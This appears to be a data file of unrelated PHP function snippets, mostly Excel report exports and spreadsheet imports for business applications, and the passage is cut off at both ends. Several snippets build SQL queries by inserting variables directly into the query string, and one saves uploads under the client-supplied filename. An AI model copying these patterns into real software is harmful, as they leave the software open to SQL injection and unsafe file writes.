$this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Dibatalkan\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"No. Pembiayaan\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['account_financing_no']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN DIBATALKAN.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public function getFilial(){\n $query = $this->connect->prepare(\"SELECT B.FILIAL FILIALORIGEM, \n C.FILIAL FILIALDESTINO\n FROM OP_VIAGEM A\n LEFT JOIN OP_VIAGEMPERCURSOFILIAL B ON B.VIAGEM = A.HANDLE AND B.EHINICIOVIAGEM = 'S'\n LEFT JOIN OP_VIAGEMPERCURSOFILIAL C ON C.VIAGEM = A.HANDLE AND C.EHTERMINOVIAGEM = 'S'\n WHERE A.HANDLE = '$this->handle' \");\n $query->execute();\n $dataSet = $query->fetch(PDO::FETCH_ASSOC);\n\n $this->filialDestino = $dataSet['FILIALDESTINO'];\n $this->filialOrigem = $dataSet['FILIALORIGEM'];\n }", "function area($tahun, $area, $berdasarkan)\n {\n $this->load->helper('exportexcel');\n $namaFile = \"transaksi_area.xls\";\n $judul = \"Transaksi\";\n $tablehead = 4;\n $tablebody = 5;\n $nourut = 1;\n //penulisan header\n header(\"Pragma: public\");\n header(\"Expires: 0\");\n header(\"Cache-Control: must-revalidate, post-check=0,pre-check=0\");\n header(\"Content-Type: application/force-download\");\n header(\"Content-Type: application/octet-stream\");\n header(\"Content-Type: application/download\");\n header(\"Content-Disposition: attachment;filename=\" . $namaFile . \"\");\n header(\"Content-Transfer-Encoding: binary \");\n $area2 = \"\";\n $berdasarkan2 = \"\";\n if ($area == \"-\") {\n $area = \"Semua\";\n $area2 = \"\";\n }\n if ($berdasarkan == \"-\") {\n $berdasarkan = \"Semua\";\n $berdasarkan2 = \"\";\n }\n\n xlsBOF();\n xlsWriteLabel(0, 0, \"Laporan\");\n xlsWriteLabel(1, 0, \"Tahun\");\n xlsWriteLabel(2, 0, \"Nama\");\n xlsWriteLabel(0, 1, $berdasarkan);\n xlsWriteLabel(1, 1, $tahun);\n xlsWriteLabel(2, 1, $area);\n $kolomhead = 0;\n xlsWriteLabel($tablehead, $kolomhead++, \"No\");\n xlsWriteLabel($tablehead, $kolomhead++, \"No Faktur\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Tgl Kirim\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Jatuh Tempo\");\n xlsWriteLabel($tablehead, $kolomhead++, \"ID Pelanggan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Nama Pelanggan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Nama Barang\");\n xlsWriteLabel($tablehead, $kolomhead++, \"QTY\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Satuan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Kota\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Kecamatan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Kelurahan\");\n xlsWriteLabel($tablehead, $kolomhead++, \"No Telpon\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Surveyor\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Debt\");\n xlsWriteLabel($tablehead, $kolomhead++, \"Jumlah\");\n\n $record = $this->mLap->laporan_area($tahun, $area2, $berdasarkan2);\n $total = 0;\n foreach ($record as $data) {\n $kolombody = 0;\n xlsWriteNumber($tablebody, $kolombody++, $nourut);\n xlsWriteLabel($tablebody, $kolombody++, $data->id_transaksi);\n xlsWriteLabel($tablebody, $kolombody++, $data->tgl_transaksi);\n xlsWriteLabel($tablebody, $kolombody++, $data->jatuh_tempo);\n xlsWriteLabel($tablebody, $kolombody++, $data->id_pelanggan);\n xlsWriteLabel($tablebody, $kolombody++, $data->nama_pelanggan);\n xlsWriteLabel($tablebody, $kolombody++, $data->nama_barang);\n xlsWriteNumber($tablebody, $kolombody++, $data->qty);\n xlsWriteLabel($tablebody, $kolombody++, $data->satuan);\n xlsWriteLabel($tablebody, $kolombody++, $data->kota);\n xlsWriteLabel($tablebody, $kolombody++, $data->kecamatan);\n xlsWriteLabel($tablebody, $kolombody++, $data->kelurahan);\n xlsWriteLabel($tablebody, $kolombody++, $data->no_telp);\n xlsWriteLabel($tablebody, $kolombody++, $data->nama_karyawan);\n xlsWriteLabel($tablebody, $kolombody++, $data->username);\n xlsWriteNumber($tablebody, $kolombody++, $data->subtotal);\n $tablebody++;\n $nourut++;\n $total += $data->subtotal;\n }\n xlsWriteLabel($tablebody, 14, 'Total');\n xlsWriteNumber($tablebody, 15, $total);\n xlsEOF();\n exit();\n }", "public function excel()\n { \n return Excel::download(new ReporteGraduados, 'graduado.xlsx');\n }", "public function bExamen_e(){\r\n\t\t $c=0;\r\n $sql=\"select * from texamen where descripcion like'$this->descripcion%' and tipo='ESPECIALES' \";\r\n\t\t$cursor=parent::ejecuta_sql($sql);\t\t \r\n\t\tif($row= parent::proxima_tupla($cursor))\r\n\t\t {\r\n\t\t\t DO{\r\n\t\t\t \t$fila[$c][1]=$row[\"id_examen\"];\r\n\t\t\t\t$fila[$c][2]=$row[\"descripcion\"];\r\n\t\t\t\t$fila[$c][3]=$row[\"tipo\"];\r\n\t\t\t\t$c++;\r\n\t\t\t\t}while($row= parent::proxima_tupla($cursor));\r\n\t\t }\t\t\r\n\t\tif ( $fila>0 )\r\n\t\t\treturn $fila;\r\n\t\telse\r\n\t\t\treturn -1;\r\n\t\t\t\r\n\t\t\tparent::cerrar_bd();\r\n }", "function file_import_execute() {\n\t\t$this->load->library('excel_reader');\n\n\t\t// Set output Encoding.\n\t\t$this->excel_reader->setOutputEncoding('CP1251');\n\n\t\t$this->excel_reader->read($this->session->userdata('file_upload'));\n\n\t\t// Sheet 1\n\t\t$excel = $this->excel_reader->sheets[0] ;\n\n\t\t// is it grpo template file?\n\tif($excel['cells'][1][1] == 'Material Doc. No' && $excel['cells'][1][2] == 'Material No.') {\n\n\t\t\t$this->db->trans_start();\n\n\t\t\t$j = 0; // grpo_header number, started from 1, 0 assume no data\n\t\t\tfor ($i = 2; $i <= $excel['numRows']; $i++) {\n\t\t\t\t$x = $i - 1; // to check, is it same grpo header?\n\n\t\t\t \t$item_group_code='all';\n\t\t\t\t\t$material_no = $excel['cells'][$i][2];\n\t\t\t\t\t$quantity = $excel['cells'][$i][3];\n\n\n\t\t\t\t// check grpo header\n\t\t\t\tif($excel['cells'][$i][1] != $excel['cells'][$x][1]) {\n\n $j++;\n\n\t\t\t\t\t \t$object['tpaket_headers'][$j]['posting_date'] = date(\"Y-m-d H:i:s\");\n\n\t\t\t\t\t\t\t$object['tpaket_headers'][$j]['plant'] = $this->session->userdata['ADMIN']['plant'];\n\t\t\t\t\t\t\t$object['tpaket_headers'][$j]['id_tpaket_plant'] = $this->m_tpaket->id_tpaket_plant_new_select($object['tpaket_headers'][$j]['plant']);\n\t\t\t\t\t\t\t$object['tpaket_headers'][$j]['storage_location'] = $this->session->userdata['ADMIN']['storage_location'];\n\t\t\t\t\t\t\t$object['tpaket_headers'][$j]['status'] = '1';\n\t\t\t\t\t\t\t$object['tpaket_headers'][$j]['item_group_code'] = $item_group_code;\n\t\t\t\t\t\t\t$object['tpaket_headers'][$j]['id_user_input'] = $this->session->userdata['ADMIN']['admin_id'];\n\t\t\t\t\t\t\t$object['tpaket_headers'][$j]['filename'] = $upload['file_name'];\n\n\t\t\t\t\t\t$id_tpaket_header = $this->m_tpaket->tpaket_header_insert($object['tpaket_headers'][$j]);\n\n \t$tpaket_header_exist = TRUE;\n\t\t\t\t\t\t$k = 1; // grpo_detail number\n\n\t\t\t\t}\n\n\t\t\t\tif($tpaket_header_exist) {\n\n\t\t\t\t\tif($tpaket_detail_temp = $this->m_general->sap_item_select_by_item_code($material_no)) {\n $object['tpaket_details'][$j][$k]['id_tpaket_header'] = $id_tpaket_header;\n\t\t\t\t\t\t $object['tpaket_details'][$j][$k]['id_tpaket_h_detail'] = $k;\n\t\t\t\t\t\t\t$object['tpaket_details'][$j][$k]['material_no'] = $material_no;\n\t\t\t\t\t\t\t$object['tpaket_details'][$j][$k]['material_desc'] = $tpaket_detail_temp['MAKTX'];\n\t\t\t\t\t\t\t$object['tpaket_details'][$j][$k]['quantity'] = $quantity;\n if ($tpaket_detail_temp['UNIT']=='L')\n $tpaket_detail_temp['UNIT'] = 'ML';\n if ($tpaket_detail_temp['UNIT']=='KG')\n $tpaket_detail_temp['UNIT'] = 'G';\n\t\t\t\t\t\t\t$object['tpaket_details'][$j][$k]['uom'] = $tpaket_detail_temp['UNIT'];\n\n//\t\t\t\t\t\t$id_tpaket_detail = $this->m_tpaket->tpaket_detail_insert($object['tpaket_details'][$j][$k]);\n \t\t\t\t if($id_tpaket_detail = $this->m_tpaket->tpaket_detail_insert($object['tpaket_details'][$j][$k])) {\n\n if(($quantity > 0)&&($item_pakets = $this->m_mpaket->mpaket_details_select_by_item_paket($material_no))) {\n if($item_pakets !== FALSE) {\n \t\t$l = 1;\n \t\tforeach ($item_pakets->result_array() as $object['temp']) {\n \t\t\tforeach($object['temp'] as $key => $value) {\n \t\t\t\t$item_paket[$key][$l] = $value;\n \t\t\t}\n \t\t\t$l++;\n \t\t\tunset($object['temp']);\n \t\t}\n \t }\n \t $c_item_paket = count($item_paket['id_mpaket_h_detail']);\n \t\t\t for($m = 1; $m <= $c_item_paket; $m++) {\n $tpaket_detail_paket['id_tpaket_h_detail_paket'] = $m;\n $tpaket_detail_paket['id_tpaket_detail'] = $id_tpaket_detail;\n $tpaket_detail_paket['id_tpaket_header'] = $id_tpaket_header;\n $tpaket_detail_paket['material_no_paket'] = $material_no;\n $tpaket_detail_paket['material_no'] = $item_paket['material_no'][$m];\n $tpaket_detail_paket['material_desc'] = $item_paket['material_desc'][$m];\n $tpaket_detail_paket['quantity'] = ($item_paket['quantity'][$m]/$item_paket['quantity_paket'][$m])*$quantity;\n $tpaket_detail_paket['uom'] = $item_paket['uom'][$m];\n \t\t\t\t\t $this->m_tpaket->tpaket_detail_paket_insert($tpaket_detail_paket);\n }\n }\n \t\t\t\t }\n\n\t\t\t\t\t\t$k++;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t$this->db->trans_complete();\n\n\t\t\t$object['refresh'] = 1;\n\t\t\t$object['refresh_text'] = 'Data Transaksi Paket berhasil di-upload';\n\t\t\t$object['refresh_url'] = $this->session->userdata['PAGE']['tpaket_browse_result'];\n\t\t\t//redirect('member_browse');\n\n\t\t\t$this->template->write_view('content', 'refresh', $object);\n\t\t\t$this->template->render();\n\n\t\t} else {\n\n\t\t\t\t$object['refresh_text'] = 'File Excel yang Anda upload bukan file Paket atau file tersebut rusak. Umumnya karena di dalam file diberi warna baik pada teks maupun cell. Harap periksa kembali file Excel Anda.<br><br>SARAN: Coba pilih semua teks dan ubah warna menjadi \"Automatic\". Sebaiknya tidak ada warna pada teks, kolom dan baris dalam file Excel Anda.';\n\t\t\t\t$object['refresh_url'] = 'tpaket/browse_result/0/0/0/0/0/0/0/10';\n\t\t\t\t$object['jag_module'] = $this->jagmodule;\n\t\t\t\t$object['error_code'] = '011';\n\t\t\t\t$object['page_title'] = 'Error '.strtoupper($object['jag_module']['web_module']).': '.$object['jag_module']['web_trans'];\n\t\t\t\t$this->template->write_view('content', 'errorweb', $object);\n\t\t\t\t$this->template->render();\n\n\t\t}\n\n\t}", "public function report_history(){ \r\n $periode = $this->input->post('periode_download');\r\n $getDate = explode(\" - \", $periode);\r\n $startDate = $getDate[0];\r\n $endDate = $getDate[1];\r\n \r\n $this->excel->setActiveSheetIndex(0);\r\n\r\n //name the worksheet\r\n $this->excel->getActiveSheet()->setTitle('History worksheet');\r\n\r\n $styleArray = array(\r\n 'borders' => array(\r\n 'allborders' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN\r\n )\r\n )\r\n );\r\n\r\n $this->excel->getActiveSheet()->setCellValue('A1', 'History User');\r\n $this->excel->getActiveSheet()->getStyle(\"A1\")->getFont()->setSize(20);\r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->setCellValue('A3', 'Start Date History : '.$startDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A4', 'End Date History : '.$endDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n }\r\n \r\n \r\n //set cell A1 content with some text\r\n $arrField = array('No', 'Name', 'Address', 'Agent Code', 'Agent Name', 'MG User ID', 'Email User', 'Status History', 'Gift Name', 'Value Gift', 'Point Gift', 'Last Point', 'In Point', 'Out Point', 'Current Point', 'Approved By','Tanggal History', 'Notes');\r\n \r\n $arrCellsTitle = $this->excel->setValueHorizontal($arrField, 6, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n\r\n $i = 0;\r\n foreach($arrCellsTitle as $cells){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cells, $arrField[$i]);\r\n $i++;\r\n $this->excel->getActiveSheet()->freezePane('A7');\r\n } \r\n\r\n $report_history = $this->report_model->data_ReportHistory($startDate,date('Y-m-d', strtotime($endDate. ' + 1 days')));\r\n \r\n if($report_history){\r\n $no=1;\r\n $startNum = 7;\r\n foreach ($report_history as $row) { \r\n $tanggal_history = new DateTime($row['date_create']);\r\n $tanggal_history = date_format($tanggal_history, 'd M Y H:i');\r\n \r\n $arrItem = array($no, $row['name'], $row['address'], $row['kode_agent'], $row['agent_name'], $row['mg_user_id'],$row['email'], $row['status'], $row['gift_name'], $row['value'], $row['point'], $row['last_point'], $row['in_point'], $row['out_point'], $row['current_point'], $row['username'],$tanggal_history, $row['notes']);\r\n\r\n $arrCellsItem = $this->excel->setValueHorizontal($arrItem, $startNum, 65); //array field, nomer cells, abjad cells (start 65 = A, end 90 = Z)\r\n \r\n\r\n $i = 0;\r\n foreach($arrCellsItem as $cellsItem){\r\n\r\n $this->excel->getActiveSheet()->setCellValue($cellsItem, $arrItem[$i]);\r\n $i++;\r\n\r\n //make border\r\n $this->excel->getActiveSheet()->getStyle($cellsItem)->applyFromArray($styleArray);\r\n $this->excel->getActiveSheet()->getRowDimension(1)->setRowHeight(-1);\r\n } \r\n\r\n $no++;\r\n $startNum++;\r\n }}\r\n \r\n \r\n //make border\r\n $this->excel->getActiveSheet()->getStyle('A6:R6')->applyFromArray($styleArray);\r\n\r\n //change the font size\r\n //$this->excel->getActiveSheet()->getStyle()->getFont()->setSize(10);\r\n\r\n //make the font become bold\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getFont()->setBold(true);\r\n\r\n //merge cell\r\n $this->excel->getActiveSheet()->mergeCells('A1:R1');\r\n \r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->mergeCells('A3:D3');\r\n $this->excel->getActiveSheet()->mergeCells('A4:D4');\r\n }\r\n \r\n //set aligment to center for that merged cell \r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\r\n $this->excel->getActiveSheet()->getStyle('A1:R6')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\r\n\r\n $filename = 'history-user.xls'; //save our workbook as this file name\r\n header('Content-Type: application/vnd.ms-excel'); //mime type\r\n header('Content-Disposition: attachment;filename=\"'.$filename.'\"'); //tell browser what's the file name\r\n header('Cache-Control: max-age=0'); //no cache\r\n \r\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\r\n //if you want to save it as .XLSX Excel 2007 format\r\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5'); \r\n //force user to download the Excel file without writing it to server's HD\r\n $objWriter->save('php://output');\r\n }", "function generarReporteExcelCalificacionvspremarcado($arregloCompleto)\r\n{\r\n $libro = new PhpOffice\\PhpSpreadsheet\\Spreadsheet();\r\n //Reporte de indicadores I1\r\n $libro->getActiveSheet()->mergeCells('A1:H1');\r\n $libro->getActiveSheet()->getStyle('A1:H2')->getFont()->setBold(true);\r\n $hoja = $libro->getActiveSheet();\r\n $libro->getSheet(0)->getColumnDimension('A')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('B')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('C')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('D')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('E')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('G')->setAutoSize(true);\r\n $libro->getSheet(0)->getColumnDimension('H')->setAutoSize(true);\r\n\r\n\r\n $hoja->setTitle('I1');\r\n $libro->getActiveSheet()->getStyle('A1:H2')->getFill()\r\n ->setFillType(\\PhpOffice\\PhpSpreadsheet\\Style\\Fill::FILL_SOLID)\r\n ->getStartColor()->setARGB('0070C0');\r\n $libro->getSheet(0)->getStyle('A1:H2')\r\n ->getFont()->getColor()->setARGB(\\PhpOffice\\PhpSpreadsheet\\Style\\Color::COLOR_WHITE);\r\n $hoja->setCellValue('A1', 'Calificacion vs premarcado');\r\n $hoja->setCellValue('A2', 'Dane');\r\n $hoja->setCellValue('B2', 'Colegio');\r\n $hoja->setCellValue('C2', 'Producto');\r\n $hoja->setCellValue('D2', 'Premarcado');\r\n $hoja->setCellValue('E2', 'Calificado');\r\n $hoja->setCellValue('F2', 'Distribuidor');\r\n $hoja->setCellValue('G2', 'Ciudad');\r\n $hoja->setCellValue('H2', 'Fecha de creacion');\r\n $iterador = 3;\r\n\r\n for ($i = 0; $i < count($arregloCompleto); $i++) {\r\n $hoja->setCellValue('A' . $iterador, $arregloCompleto[$i]['dane']);\r\n $hoja->setCellValue('B' . $iterador, $arregloCompleto[$i]['colegio']);\r\n for ($n = 0; $n < count($arregloCompleto[$i]['cantidad']); $n++) {\r\n $hoja->setCellValue('A' . $iterador, $arregloCompleto[$i]['dane']);\r\n $hoja->setCellValue('B' . $iterador, $arregloCompleto[$i]['colegio']);\r\n $hoja->setCellValue('C' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['producto']);\r\n $hoja->setCellValue('D' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['premarcado']);\r\n $hoja->setCellValue('E' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['calificado']);\r\n $hoja->setCellValue('F' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['distribuidor']);\r\n $hoja->setCellValue('G' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['ciudad']);\r\n $hoja->setCellValue('H' . $iterador, $arregloCompleto[$i]['cantidad'][$n]['fechaCreacion']);\r\n $iterador++;\r\n }\r\n\r\n\r\n }\r\n $styleArray = [\r\n 'borders' => [\r\n 'allBorders' => [\r\n 'borderStyle' => \\PhpOffice\\PhpSpreadsheet\\Style\\Border::BORDER_THIN,\r\n 'color' => ['arg' => '000'],\r\n ],\r\n\r\n ],\r\n 'alignment' => [\r\n 'horizontal' => \\PhpOffice\\PhpSpreadsheet\\Style\\Alignment::HORIZONTAL_CENTER,\r\n ],\r\n ];\r\n\r\n $libro->getSheet(0)->getStyle('A1:H' . $iterador)->applyFromArray($styleArray);\r\n\r\n $excel = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Xlsx($libro);\r\n\r\n $excel->save('./App/public/excel/calificacionvspremarcado.xlsx');\r\n\r\n return '/excel/calificacionvspremarcado.xlsx';\r\n}", "function getNomeArquivo($iInstit, $sDataini, $sDatafim, $sRemessa) {\n\n $sNomeArquivo = \"\";\n $sSqlInstit = \"select cgc,db21_tipoinstit from db_config where codigo = {$iInstit} \";\n $rsInstit = pg_query($sSqlInstit);\n $iNumRows = pg_num_rows($rsInstit);\n if ($iNumRows == 0) {\n return false;\n }\n $oInstit = db_utils::fieldsMemory($rsInstit, 0);\n switch ( $oInstit->db21_tipoinstit) {\n case '1' :\n $sTipoGoverno = 'P';\n break;\n case '2' :\n $sTipoGoverno = 'C';\n break;\n case '6' :\n $sTipoGoverno = 'A';\n break;\n case '7' :\n $sTipoGoverno = 'A';\n break;\n case '8' :\n $sTipoGoverno = 'F';\n break;\n case '9' :\n $sTipoGoverno = 'E';\n break;\n case '10' :\n $sTipoGoverno = 'E';\n break;\n case '11' :\n $sTipoGoverno = 'E';\n break;\n case '12' :\n $sTipoGoverno = 'E';\n break;\n default :\n $sTipoGoverno = 'O';\n \n }\n \n $cnpj = $oInstit->cgc;\n $sDataInicial = implode(\"\", array_reverse(explode(\"-\", $sDataini)));\n $sDataFinal = implode(\"\", array_reverse(explode(\"-\", $sDatafim)));\n $sDataGeracao = date('dmY', db_getsession('DB_datausu'));\n $iCodigoRemssa = str_pad($sRemessa, 12, STR_PAD_RIGHT);\n $sNomeArquivo = \"{$cnpj}.{$sDataInicial}.{$sDataFinal}.{$sDataGeracao}.{$sTipoGoverno}.{$iCodigoRemssa}\";\n \n return $sNomeArquivo;\n\n}", "function cargar_informacion_reducida()\n\t{\n\t\t// Cabecera del proyecto\n\t\t$this->manejador_interface->mensaje('Cargando datos globales', false);\n\t\t$archivo = $this->get_dir_tablas() . '/apex_proyecto.sql';\n\t\t$this->db->ejecutar_archivo( $archivo );\n\t\t$this->manejador_interface->mensaje('.OK');\n\t\t// Grupos de acceso y permisos\n\t\t$this->cargar_perfiles();\n\t}", "function preview_file(){\n\t\t\n\t\t/** Set default timezone (will throw a notice otherwise) */\n\t\tdate_default_timezone_set('Asia/Bangkok');\n\t\t/** PHPExcel */\n\t\tinclude (\"plugins/PHPExcel/Classes/PHPExcel.php\");\n\t\t/** PHPExcel_IOFactory - Reader */\n\t\tinclude (\"plugins/PHPExcel/Classes/PHPExcel/IOFactory.php\");\n\t\t\t\n\n\t\tif(isset($_FILES['uploadfile']['name'])){\n\t\t\t$file_name = $_FILES['uploadfile']['name'];\n\t\t\t$ext = pathinfo($file_name, PATHINFO_EXTENSION);\n\t\t\t\n\t\t\t//echo \": \".$file_name; //die;\n\t\t\t//Checking the file extension (ext)\n\t\t\tif($ext == \"xlsx\" || $ext == \"xls\"){\n\t\t\t\t$Path = 'uploads/payment';\t\n\t\t\t\t$filename =$Path.'/'.$file_name;\n\t\t\t\tcopy($_FILES['uploadfile']['tmp_name'],$filename);\t\n\t\t\t\t\n\t\t\t\t$inputFileName = $filename;\n\t\t\t\t//echo $inputFileName;\n\t\t\t\t\n\t\t\t/**********************PHPExcel Script to Read Excel File**********************/\n\t\t\t\t// Read your Excel workbook\n\t\t\t\ttry {\n\t\t\t\t\t//echo \"try\".$inputFileName;\n\t\t\t\t\t$inputFileType = PHPExcel_IOFactory::identify($inputFileName); //Identify the file\n\t\t\t\t\t$objReader = PHPExcel_IOFactory::createReader($inputFileType); \n\t\t\t\t\t$objReader->setReadDataOnly(true);\n\t\t\t\t\t//Creating the reader\n\t\t\t\t\t$objPHPExcel = $objReader->load($inputFileName); //Loading the file\n\t\t\t\t\t//echo \"จบ try นะ\";\n\t\t\t\t\t\n\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\techo \"<pre>\";\n\t\t\t\t\tprint_r($e);\n\t\t\t\t\techo \"</pre>\";\n\t\t\t\t\tdie('Error loading file \"' . pathinfo($inputFileName, PATHINFO_BASENAME) \n\t\t\t\t\t. '\": ' . $e->getMessage());\n\t\t\t\t}\n\n\t\t\t\t//ข้อมูลนำเข้า\n\t\t\t\t$this->data[\"im_exam\"] = $this->input->post(\"im_exam\");\t \t\t//ประเภทการสอบ\n\t\t\t\t$this->data[\"im_edu_bgy\"] = $this->input->post(\"im_edu_bgy\");\t \t//ปีการศึกษา\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t/* start ROW && COLUMN */\n\t\t\t\t$sheet_active = 0;\n\t\t\t\t$start_row = 2;\n\t\t\t\t$start_col = 'A';\t\n\t\t\t\t\n\t\t\t\t// Get worksheet dimensions\n\t\t\t\t$sheet = $objPHPExcel->getSheet($sheet_active); //Selecting sheet 0\t\t\t\t\n\t\t\t\t$highestRow = $sheet->getHighestRow(); \t\t//Getting number of rows\n\t\t\t\t$highestColumn = $sheet->getHighestColumn(); //Getting number of columns\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$arr_data = array(); // per project 1 row\n\t\t\t\t\n\t\t\t\tfor ($row = $start_row; $row <= $highestRow; $row++) {\t\t\n\t\t\t\t\t//******** column A-H :: expend project *********//\n\t\t\t\t\t$column_key = $sheet->rangeToArray($start_col.$row.\":\".$highestColumn.$row, NULL, TRUE, FALSE);\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($column_key)){\n\t\t\t\t\tforeach($column_key as $row_col){\n\t\t\t\t\t\t/***************** start expend **********************/\n\t\t\t\t\t\tif(!empty($row_col)){\n\t\t\t\t\t\t\t$pay_status\t\t= 2; \t//สถานะการชำระเงิน\n\t\t\t\t\t\t\t$pay_bill_no\t= \"\";\t//ref billNo\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$pay_date \t\t= \"0000-00-00\";\t\n\t\t\t\t\t\t\t$pay_amount\t\t= 0.00; //จำนวนเงินที่ชำระ\n\t\t\t\t\t\t\t$pay_receiver = \"\"; \t//ผู้รับชำระเงิน\n\t\t\t\t\t\t\t$pay_creator \t= \"\"; //ผู้บันทึก ต้องมาจาก login\n\t\t\t\t\t\tforeach($row_col as $key_col => $val_col){\n\t\t\t\t\t\t\t// แปลง index column เป็น name column\n\t\t\t\t\t\t\t$colIndex = PHPExcel_Cell::stringFromColumnIndex($key_col);\n\t\t\t\t\t\t\t//echo \"<br/>\".$key_col.\":\".$colIndex;\n\t\t\t\t\t\t\t$val_column = \"\";\n\t\t\t\t\t\t\tif($colIndex == \"C\"){ //วันที่จ่าย\n\t\t\t\t\t\t\t\t$val_date = date('d/m/Y', PHPExcel_Shared_Date::ExcelToPHP($sheet->getCell($colIndex.$row)->getValue()));\n\t\t\t\t\t\t\t\t$val_column = $val_date;\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$val_column = $sheet->getCell($colIndex.$row)->getValue();\n\t\t\t\t\t\t\t\tif(empty($val_column) || $val_column == \"\"){\n\t\t\t\t\t\t\t\t\t$val_column = $val_col;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//echo \"col:\".$colIndex.\" : \".$val_column.\"<br/>\";\n\t\t\t\t\t\t\t\t//echo \"==> \".$val_col.\"===> \".$val_column;\n\t\t\t\t\t\t\tif(!empty($val_column)){\n\t\t\t\t\t\t\t\tif($colIndex == \"B\") $pay_bill_no \t= $val_column;\n\t\t\t\t\t\t\t\tif($colIndex == \"C\") $pay_date \t\t= $val_column;\n\t\t\t\t\t\t\t\tif($colIndex == \"D\") $pay_amount \t= $this->remove_comma($val_column);\n\t\t\t\t\t\t\t\tif($colIndex == \"E\") $pay_receiver \t= $val_column;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}//end each row_col\n\t\t\t\t\t\t\n\t\t\t\t\t\t}//end 